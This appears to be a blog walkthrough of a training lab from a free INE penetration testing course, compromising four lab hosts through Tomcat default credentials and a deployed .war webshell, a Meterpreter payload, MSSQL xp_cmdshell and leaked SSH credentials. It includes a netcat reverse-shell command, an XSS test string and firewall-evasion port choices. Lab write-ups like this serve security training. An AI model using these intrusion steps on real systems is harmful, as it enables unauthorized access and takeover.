Black-box Penetration Test 1 - Lab from INE free course

 

This is one of the last labs from the INE free penetration testing course. It's called Black-box since this is a machine that we have to hack without any particular technique that is provided. I need to use everything that I've learned through the course and I'm pretty sure that it will be fun! After a short introduction, I invite you to follow my way to break into the target machine. 

Here is the description of the situation:

Everything is clear and understandable. Obviously, before choosing any attack vector to compromise any machine we have to scan the network in order to gain some useful information. The best tool to achieve what we want is the Nmap. At the start, everything that we need is the knowledge about which hosts are ready to talk with us. Let's use the ping-like scan in order to track them.

We have to break into exactly four machines to solve the lab. The addresses are 172.16.64.101, 172.16.64.140, 172.16.64.182, and 172.16.64.199. Let's now see what services are running on each of the hosts.

To sum up our knowledge about the target network we can write something like this:

Ubuntu machines:

- 172.16.64.101 - runs Apache Tomcat and SSH service

- 172.16.64.140 - runs the HTTP Apache server

- 172.16.64.182 - runs only the SSH service

Windows machine:

- 172.16.64.199 - runs Microsoft SQL Server as well as SMB protocol

We know that the Linux version is some incarnation of Ubuntu from the SSH banners but we don't have information about the Windows version for now. The first machine that I will try to own would be the one that runs the Tomcat server. Apache Tomcat is a web server that handles web applications written in Java. That's all I know about this service because I didn't deal with the Java language before. There are two Tomcat running on the target machine the first one listens on port 8080 and the second one on port 9080. Let's run one more scan but now with some additional scripts with the help of the -A option. After this operation, we will have a report with the configuration of the running services. Maybe a web server will be misconfigured somehow.

Exploiting machine with the Tomcat server

It looks like the Tomcat running on the target machine is misconfigured. We can probably upload a file to the server with the PUT HTTP method. Let's get the web shell from Github (https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp) and try to upload this to the server with the PUT method. To make the modified PUT request the best tool to use is Burpsuite and its Repeater feature or Metasploit. Keep in mind that the syntax of the PUT method requires the length of the payload sent to the server. Thus we have to check how many bytes reside inside the web shell file.

We have the length of our payload and the payload itself so we are ready to create the whole PUT request. 

After sending this PUT request to the Tomcat we receive this response:

It looks like the misconfiguration with the PUT method is a dead end. Let's confirm our supposition with the auxiliary/scanner/http/http_put Metasploit module.

These are the configuration options set. But after launching the exploit the file isn't uploaded to the server.

Unfortunately, it seems that this PUT method is useless. Another way to exploit this machine should exist. The Tomcat admin page resides in the /manager/html directory but to access it we have to log in.

After passing invalid credentials to the login form I've seen this response:

The Tomcat servers have default credentials saved in the configuration files under the conf folder. One of the default credentials is tomcat:s3cret as we know from the picture sent by the server. The whole file with different default credentials can be found on Github -> https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown. Obviously, people sometimes forget or don't want to change default credentials to their accounts so maybe one of the default credentials will work in this case too. Let's try the tomcat:s3cret combination first.

Oh yeah! I'm now the admin of the whole server. Now it's easy to upload a malicious file to get the webshell on the compromised machine.

This is a deploying feature. We can simply upload a .war file to the Tomcat server and execute it. Let's find a webshell on Github and upload it to the compromised server. The webshell that I'm going to use is under this link -> https://github.com/BustedSec/webshell/blob/master/webshell.war. Let's deploy it and check if we have access to the shell.

As you can see we have the content of the current working directory after typing the ls command and submitting Run. So everything works as intended. But this kind of shell is not convenient for exploring a file system. Thus our next step will be to get the actual bash shell. The plan is like this:

1. Create the payload that would spawn the reverse shell.

2. Place the payload on the machine using the available tools of the compromised system.

3. Make sure that our payload exists in the machine's file system.

4. Create the listener on the attacking system to accept the connection and finally get a friendly shell.

Creating the payload

The payload responsible for spawning the shell will be created with the help of the msfvenom module. We need to know on what CPU architecture is the Tomcat running in order to create an appropriate payload. To gain such information I've used uname -a command inside the webshell.

The server is running on Xubuntu x64 and that's all that we need for crafting the payload.

This is the list of all shells that are available in our case. Obviously, the best shell to choose is the Meterpreter.

To bypass the firewall the port number on which the output connection would be made is set to 9080. Note that this port is the listening port of the internal service. Internal services usually listen on ports that are not blocked by a firewall and that's why I've chosen this specific port. 

Placing the payload on the machine

I'm pretty surprised that the curl is not available on the compromised machine. But maybe netcat exists in the file system. Let's see.

Amazing. It looks like we can use netcat for making a simple reverse shell connection without the need of using any payload. It all comes down to creating a listener on the attacking machine and making a connection from the victim's machine with the shell interface exposed. The listener will accept the connection on port 80.

And with this command executed via webshell we should gain access to the shell:

nc 172.16.64.10 80 -e /bin/sh

But this simple trick doesn't work as expected. The netcat is working fine since I've tried to connect without expanding the shell and the attacking system accepted the connection. Something is wrong with expanding the interface. Luckily there is a way to place the payload on the server. We can simply deploy the Meterpreter executable as the .war file and cheat the Tomcat a little bit. Obviously, we have to change the file format to the .war and it can be achieved with this command:

mv payload payload.war

After deploying the payload, the server doesn't allow it to run from the admin panel since the real format of the file is ELF.

This is not the problem at all because the payload is already on the server and we have access to the webshell. That being said we can go into step three of our exploitation plan.

Make sure that our payload exists in the machine's file system

We can check if the payload exists in the file system by listing the content of the webapps Tomcat directory.

In order to run the payload, we have to move the file into the writable directory with removing the .war file format and add the privilege to execute it for the tomcat8 user. Two commands will do the work:

1. mv webapps/payload.war /tmp/payload 

2. chmod +x /tmp/payload

And this is the result of executing them:

The payload is placed inside the /tmp directory and is ready to run.

Create the listener on the attacking system, execute the payload and finally get the shell

In order to accept the reverse shell connection from the victim let's create a handler using the Metasploit framework. The listener port should be set to 9080 since it has to match the port chosen for the injected payload.

At the moment, the attacking system should be ready to accept the connection from the compromised machine. Let's execute the payload inside the webshell and own the machine.

As you can see we have the Meterpreter session opened and the victim's machine is owned.

The flag on the first machine lies inside the /home/adminels/Desktop directory. 

Exploiting web application on the 172.16.64.140 machine

My second target will be the web application which is handled by the Apache httpd server.

This is the response from the server after requesting the root directory of the page. There is nothing special inside the server's response, thus the next thing to do is to enumerate hidden resources. I've used the gobuster and the common.txt wordlist.

The /project directory is interesting without any doubt. Let's check the content of this resource.

"The site says: "admin"" string is pretty suspicious. Maybe we can log in with admin:admin credentials or the admin is the correct username to the resource and we can use it while setting the cracking tool?

The default credentials worked and we are already inside the project page. The search input field could be potentially vulnerable to the XSS. Let's test it. After typing the <script>alert(1);</script> and some random characters later on nothing happened, therefore, we can leave this input field alone. 

On the left pane, we have some comments or blog posts written by the user called Nullam. Such a feature is a perfect place for the stored XSS. But we will come back to it later since there is another potentially vulnerable input field on the main page.

After submitting this form the web app sent us back to the main page of the project resource. So nothing happens on the Home tab. I've found nothing interesting on the rest of the application. Therefore in order to exploit this app, we need to find more resources. Notice that the project directory could not be enumerated recursively because of the HTTP authorization that blocked further requests made by the gobuster. Now if we know what valid credentials are we can use the dirb with the -u option and gain information about hidden resources inside the project part of the page.

The tool discovered the interesting resource under the project/backup but accessing this URL is a dead end since the server sent us to the main page again. Thus, let's search for other resources but this time inside the project/backup directory.

After a couple of minutes, the dirb found project/backup/test resource and inside that directory, there are several text files. It indicates the possible information leakage.

Inside the sdadas.txt file, there is a path to the flag and MsSQL credentials that can be used to exploit the Windows machine.

Reading the flag means that the machine was exploited successfully. 

Exploiting machine with the Microsoft SQL Server

Now we can jump into the Windows machine which runs the Microsoft SQL Server. So let's run the Nmap scan again but this time only on the target machine.

From the Nmap scripts, we can assume that the victim's machine runs Windows 10.

Here we have other ports that are opened on the host and we can use them later to bypass the firewall for instance.

The above information is proof that the machine uses SMB protocol for Windows Shares. We can try to exploit this in order to enumerate the Windows system and gain some useful hints about the victim's configuration. But it would be hard probably because the machine uses Windows 10 which is not vulnerable to the Null Session anymore. As you remember while exploiting the 172.16.64.140 host we've gathered credentials to the Microsoft SQL Server. We can check if these credentials are valid using the auxiliary/scanner/mssql/mssql_login. This module simply tries to log in to the MsSQL server and is used most often in dictionary or brute force attacks. But in our case, we can use this module to check if login credentials are valid.

As you can see the credentials are valid, thus we can use them for reconnaissance. Let's run the auxiliary/admin/mssql/mssql_enum module that gives us information about the configuration of the server. Note that this module enumerates the server only when valid administrator credentials are set.

It's clear that we are logged in as the admin. Let's check if the xp_cmdshell is enabled on the server.

Remote access and xp_cmdshell configuration options are enabled. It means that every server administrator can execute operating system commands remotely. Obviously, we are logged in as the administrator, therefore, the exploit/windows/mssql/mssql_payload can be used for getting a shell on the target system. Most likely this module leverages the fact that we are logged in as the administrator and we have access to the operating system command through the xp_cmdshell feature. If these two fields are checked then the module delivers the PowerShell command that uploads the payload executable to the server and executes it. This is one of the methods that we can obtain the shell. Let's now set a couple of options and execute the payload to own the machine.

Notice that I've set the listen port to 49668 since the target machine listens on this port and the Microsoft RPC service is running on it. That's why the firewall should allow the out-connection on this particular port.

The flag file is on the desktop of the AdminELS user.

If you look at the content of the Desktop folder on the AdminELS machine you will find the id_rsa.pub file which is a common name for the SSH public key used for encrypting messages between the client and the SSH server. Obviously, the SSH authentication based on cryptographic keys requires that the client has the key pair -> public and private key. First, the client sends the public key to the server. Then the server checks if the public key is saved inside the authorized_keys file. If the passed public key is trustworthy the server creates a new key let's called it "Top Secret" and encrypts it with the public key sent earlier by the client. The client has to decrypt this key using the private key and send the decrypted message to the server. The server reads it and if the message is decrypted correctly the client is authenticated to the server. All of this means that we can try to log in to the SSH server of the 172.16.64.182 machine. But first, let's investigate what really is inside this id_rsa.pub file.

At the end of the file, there are credentials to the SSH server running on the 172.16.64.182 machine on port 22. Thus, we can omit the whole operation with SSH keys authentication.

Exploiting machine with the SSH service

The last machine is easy to compromise cause we've found the valid credentials to the SSH service and we don't need to crack them. Let's simply connect to the host and find the flag. The username is developer and the password is dF3334slKw.

Sum up

That was the last flag and we got them all! This lab was amazing and I learned a lot. Thanks for reading. Goodbye and have a nice day!